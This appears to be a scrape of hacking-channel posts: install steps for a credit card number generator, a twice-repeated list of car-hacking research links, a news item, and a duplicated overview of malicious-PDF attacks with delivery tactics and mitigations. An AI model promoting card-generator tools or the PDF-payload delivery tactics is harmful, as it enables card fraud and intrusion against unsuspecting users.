2. Navigate to the Project Directory
cd LBin-CC-generator-
3. Add Execution Permissions
chmod +x start.py
4. Run the Script
python3 start.py
#### Termux (Android) Installation
1. Install Termux
Download and install [Termux](https://play.google.com/store/apps/details?id=com.termux) from the Google Play Store.
2. Install Git
pkg install git
3. Install Python
pkg install python3
4. Clone the Repository
git clone https://github.com/lalaio1/LBin-CC-generator-.git
5. Navigate to the Project Directory
cd LBin-CC-generator-
6. Add Execution Permissions
chmod +x start.py
7. Run the Script
python3 start.py
💻 Supported Operating Systems
- Windows 💻
- Linux 🐧
- Termux (Android) 📱
Python.org
Download Python
The official home of the Python Programming Language
Forwarded from Exploiting Crew (Pr1vAt3)
🦑Cars Hacking Utilities:
- [How to hack a car — a quick crash-course](https://medium.freecodecamp.org/hacking-cars-a-guide-tutorial-on-how-to-hack-a-car-5eafcfbbb7ec) - Car enthusiast Kenny Kuchera illustrates just enough information to get you up and running. An excellent resource for first timers!
- [Stopping a Jeep Cherokee on the Highway Remotely](https://www.wired.com/2015/07/hackers-remotely-kill-jeep-highway/) - Chris Valasek's and Charlie Miller's pivotal research on hacking into Jeep's presented at DEFCON in 2015.
- [Troy Hunt on Controlling Nissans](https://www.troyhunt.com/controlling-vehicle-features-of-nissan/) - Troy Hunt goes into controlling Nissan vehicles.
- [Tesla hackers explain how they did it at Defcon](http://www.cnet.com/roadshow/news/tesla-hackers-explain-how-they-did-it-at-def-con-23/) - Overview of DEFCON 23 presentation on hacking into Tesla cars.
- [Anatomy of the Rolljam Wireless Car Hack](http://makezine.com/2015/08/11/anatomy-of-the-rolljam-wireless-car-hack/) - Overview of the RollJam rolling code exploitation device.
- [IOActive's Tools and Data](http://blog.ioactive.com/2013/08/car-hacking-content.html) - Chris Valasek and Charlie Miller release some of their tools and data for hacking into vehicles in an effort to get more people into vehicle security research.
- [Developments in Car Hacking](https://www.sans.org/reading-room/whitepapers/ICS/developments-car-hacking-36607) - via the SANS Reading Room, Currie's paper analyses the risks and perils of smart vehicle technology.
- [Car Hacking on the Cheap](http://www.ioactive.com/pdfs/IOActive_Car_Hacking_Poories.pdf) - A whitepaper from Chris Valasek and IOActive on hacking your car when you don't have a lot of resources at your disposal.
- [Car Hacking: The definitive source](http://illmatics.com/carhacking.html) - Charlie Miller and Chris Valasek publish all tools, data, research notes, and papers for everyone for free
- [Car Hacking on the cheap](https://community.rapid7.com/community/transpo-security/blog/2017/02/08/car-hacking-on-the-cheap) - Craig Smith wrote a brief article on working with Metasploit’s HWBrige using ELM327 Bluetooth dongle
- [Researchers tackle autonomous vehicle security](https://phys.org/news/2017-05-tackle-autonomous-vehicle.html) - Texas A&M researchers develop intelligence system prototype.
- [Reverse engineering of the Nitro OBD2](https://blog.quarkslab.com/reverse-engineering-of-the-nitro-obd2.html) - Reverse engineering of CAN diagnostic tools.
- [Analysis of an old Subaru Impreza - Subaru Select Monitor v1 (SSM1)](https://p1kachu.pluggi.fr/project/automotive/2018/12/28/subaru-ssm1/) - Digging into an old ECU through an old protocol and disabling a 1997 Subaru Impreza's speed limiter.
- [Car Hacking in 30 Minutes or Less](https://brysonpayne.com/2018/10/20/start-car-hacking-in-30-minutes-or-less/) - Using VirtualBox and Kali Linux, you can start car hacking using completely free open-source software and tools, including can-utils, ICSim, ScanTool, Wireshark, and tcpdump
Source
- [How to hack a car — a quick crash-course](https://medium.freecodecamp.org/hacking-cars-a-guide-tutorial-on-how-to-hack-a-car-5eafcfbbb7ec) - Car enthusiast Kenny Kuchera illustrates just enough information to get you up and running. An excellent resource for first timers!
- [Stopping a Jeep Cherokee on the Highway Remotely](https://www.wired.com/2015/07/hackers-remotely-kill-jeep-highway/) - Chris Valasek's and Charlie Miller's pivotal research on hacking into Jeep's presented at DEFCON in 2015.
- [Troy Hunt on Controlling Nissans](https://www.troyhunt.com/controlling-vehicle-features-of-nissan/) - Troy Hunt goes into controlling Nissan vehicles.
- [Tesla hackers explain how they did it at Defcon](http://www.cnet.com/roadshow/news/tesla-hackers-explain-how-they-did-it-at-def-con-23/) - Overview of DEFCON 23 presentation on hacking into Tesla cars.
- [Anatomy of the Rolljam Wireless Car Hack](http://makezine.com/2015/08/11/anatomy-of-the-rolljam-wireless-car-hack/) - Overview of the RollJam rolling code exploitation device.
- [IOActive's Tools and Data](http://blog.ioactive.com/2013/08/car-hacking-content.html) - Chris Valasek and Charlie Miller release some of their tools and data for hacking into vehicles in an effort to get more people into vehicle security research.
- [Developments in Car Hacking](https://www.sans.org/reading-room/whitepapers/ICS/developments-car-hacking-36607) - via the SANS Reading Room, Currie's paper analyses the risks and perils of smart vehicle technology.
- [Car Hacking on the Cheap](http://www.ioactive.com/pdfs/IOActive_Car_Hacking_Poories.pdf) - A whitepaper from Chris Valasek and IOActive on hacking your car when you don't have a lot of resources at your disposal.
- [Car Hacking: The definitive source](http://illmatics.com/carhacking.html) - Charlie Miller and Chris Valasek publish all tools, data, research notes, and papers for everyone for free
- [Car Hacking on the cheap](https://community.rapid7.com/community/transpo-security/blog/2017/02/08/car-hacking-on-the-cheap) - Craig Smith wrote a brief article on working with Metasploit’s HWBrige using ELM327 Bluetooth dongle
- [Researchers tackle autonomous vehicle security](https://phys.org/news/2017-05-tackle-autonomous-vehicle.html) - Texas A&M researchers develop intelligence system prototype.
- [Reverse engineering of the Nitro OBD2](https://blog.quarkslab.com/reverse-engineering-of-the-nitro-obd2.html) - Reverse engineering of CAN diagnostic tools.
- [Analysis of an old Subaru Impreza - Subaru Select Monitor v1 (SSM1)](https://p1kachu.pluggi.fr/project/automotive/2018/12/28/subaru-ssm1/) - Digging into an old ECU through an old protocol and disabling a 1997 Subaru Impreza's speed limiter.
- [Car Hacking in 30 Minutes or Less](https://brysonpayne.com/2018/10/20/start-car-hacking-in-30-minutes-or-less/) - Using VirtualBox and Kali Linux, you can start car hacking using completely free open-source software and tools, including can-utils, ICSim, ScanTool, Wireshark, and tcpdump
Source
freeCodeCamp
How to hack a car — a quick crash-course
The goal of this article is to get you started hacking cars — fast, cheap, and easy. In order to do this, we’ll spoof the RPM gauge as an…
Forwarded from UNDERCODE NEWS (Copyright & Fact Checker)
⚡️ VinFast Doubles Down on Electric Vehicles with New Factory in Vietnam
https://undercodenews.com/vinfast-doubles-down-on-electric-vehicles-with-new-factory-in-vietnam/
@Undercode_News
https://undercodenews.com/vinfast-doubles-down-on-electric-vehicles-with-new-factory-in-vietnam/
@Undercode_News
UNDERCODE NEWS
VinFast Doubles Down on Electric Vehicles with New Factory in Vietnam - UNDERCODE NEWS
Undercode News was founded in order to provide the most useful information in the world of hacking and technology. Staffed 24/24 hours, seven days a week by a dedicated team in undercode around the world, so it can provide an environment of information and…
Forwarded from Exploiting Crew (Pr1vAt3)
🦑How End Users Can Be Susceptible to Malicious PDF Attacks: A Practical Illustration
End users often underestimate the risks of downloading and opening PDFs, assuming these files are harmless. However, attackers can exploit vulnerabilities in PDF readers or embed malicious payloads to compromise a system. Here's an illustrative example of how this attack can be executed: Kali Linux as the attacker's machine, Windows 7 as the victim's machine, and the Metasploit Framework for exploitation.
Attackers often use social engineering to trick the victim into downloading the malicious file:
· Email Phishing: The attacker sends an email impersonating a trusted entity, with the malicious.
PDF attached or linked.
· Drive-By Downloads: Hosting the PDF on a compromised or malicious website.
· USB Drops: Leaving USB devices with the file in public places.
· File Sharing Platforms: Publicly accessible platforms for file sharing, such as peer-to-peer networks or forums, can also be a source of malicious PDFs. Hackers upload infected files disguised as free resources.
Mitigation Strategies
To prevent such attacks, end users and organizations should:
· Update Software Regularly: Keep operating systems and applications, including PDF readers, up to date.
· Use Anti-Malware Tools: Employ advanced threat detection tools to identify and block malicious payloads.
· Be Cautious of Unknown Sources: Avoid downloading files from unknown emails or untrusted websites.
· Sandboxing: Open unknown files in isolated environments to limit potential damage.
· Security Awareness Training: Educate users about phishing tactics and the dangers of opening unsolicited attachments.
End users often underestimate the risks of downloading and opening PDFs, assuming these files are harmless. However, attackers can exploit vulnerabilities in PDF readers or embed malicious payloads to compromise a system. Here's an illustrative example of how this attack can be executed: Kali Linux as the attacker's machine, Windows 7 as the victim's machine, and the Metasploit Framework for exploitation.
Attackers often use social engineering to trick the victim into downloading the malicious file:
· Email Phishing: The attacker sends an email impersonating a trusted entity, with the malicious.
PDF attached or linked.
· Drive-By Downloads: Hosting the PDF on a compromised or malicious website.
· USB Drops: Leaving USB devices with the file in public places.
· File Sharing Platforms: Publicly accessible platforms for file sharing, such as peer-to-peer networks or forums, can also be a source of malicious PDFs. Hackers upload infected files disguised as free resources.
Mitigation Strategies
To prevent such attacks, end users and organizations should:
· Update Software Regularly: Keep operating systems and applications, including PDF readers, up to date.
· Use Anti-Malware Tools: Employ advanced threat detection tools to identify and block malicious payloads.
· Be Cautious of Unknown Sources: Avoid downloading files from unknown emails or untrusted websites.
· Sandboxing: Open unknown files in isolated environments to limit potential damage.
· Security Awareness Training: Educate users about phishing tactics and the dangers of opening unsolicited attachments.